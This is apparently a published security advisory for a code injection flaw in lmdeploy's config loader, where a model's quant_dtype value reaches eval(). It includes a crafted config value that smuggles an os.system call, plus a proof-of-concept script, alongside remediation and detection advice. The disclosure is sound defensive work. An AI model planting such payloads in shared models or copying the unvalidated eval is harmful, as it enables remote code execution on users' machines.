GHSA-3hmm-rh5q-gwwr: Code Injection
Summary
lmdeploy <= latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantizationconfig.quantdtype value. When a user loads the model with lmdeploy, the quantdtype is passed to eval(f'torch.{quantdtype}') without any validation.
Details
Vulnerable code (permalink):
python quantdtype = eval(f'torch.{quantdtype}') # line 620
The quantdtype value comes from the model's quantizationconfig in its HuggingFace config. When a model specifies quantmethod: awq, the AWQ branch processes the config but does NOT override quantdtype, allowing the malicious value to reach the eval() call.
Attack vector: An attacker publishes a HuggingFace model with: json { "quantizationconfig": { "quantmethod": "awq", "quantdtype": "float16, import('os').system('id')" } }
Note: The updatetorchdtype method at line 53 has a whitelist check, but that's for torchdtype, NOT quantdtype. The quantdtype at line 620 has no validation whatsoever.
PoC
python """ PoC: eval() RCE in lmdeploy via malicious quantdtype Prerequisites: pip install lmdeploy """ import sys from unittest.mock import MagicMock, patch
Mock torch to capture the eval sys.modules.setdefault('torch', MagicMock())
from lmdeploy.pytorch.config import ModelConfig
Simulate a malicious HuggingFace model config mockhfconfig = MagicMock() mockhfconfig.quantizationconfig = { 'quantmethod': 'awq', 'quantdtype': "float16, import('os').system('id')" } mockhfconfig.numattentionheads = 32 mockhfconfig.hiddensize = 4096 mockhfconfig.numhiddenlayers = 32 mockhfconfig.numkeyvalueheads = 32 mockhfconfig.vocabsize = 32000
This triggers eval(f'torch.{quantdtype}') with quantdtype = "float16, import('os').system('id')" config = ModelConfig.fromhfconfig(mockhfconfig, modelpath='test')
Output: uid=0(root) gid=0(root) groups=0(root)
Impact
An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.
1. Full remote code execution when loading a malicious model 2. No user interaction beyond running lmdeploy serve or similar with the model 3. Affects all deployment scenarios (local, cloud, production)
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/lmdeployto a version that resolves this vulnerability.Fixed in 0.12.3
Event History
Frequently Asked Questions
Who is exposed to this issue?
Users who load HuggingFace models with lmdeploy are exposed when the model's quantization configuration uses the AWQ quantization method. The vulnerable path processes quant_dtype from the model configuration.
What does an attacker need to exploit it?
An attacker needs to publish or otherwise provide a malicious HuggingFace model whose quantization_config sets quant_method to awq and supplies a crafted quant_dtype value. A user must then load that model with lmdeploy.
How can I identify a suspicious model configuration?
Inspect the model's HuggingFace configuration for quantization_config entries with quant_method set to awq and an unexpected quant_dtype value. Values containing Python expressions or constructs such as __import__ are particularly suspicious because quant_dtype reaches an eval call.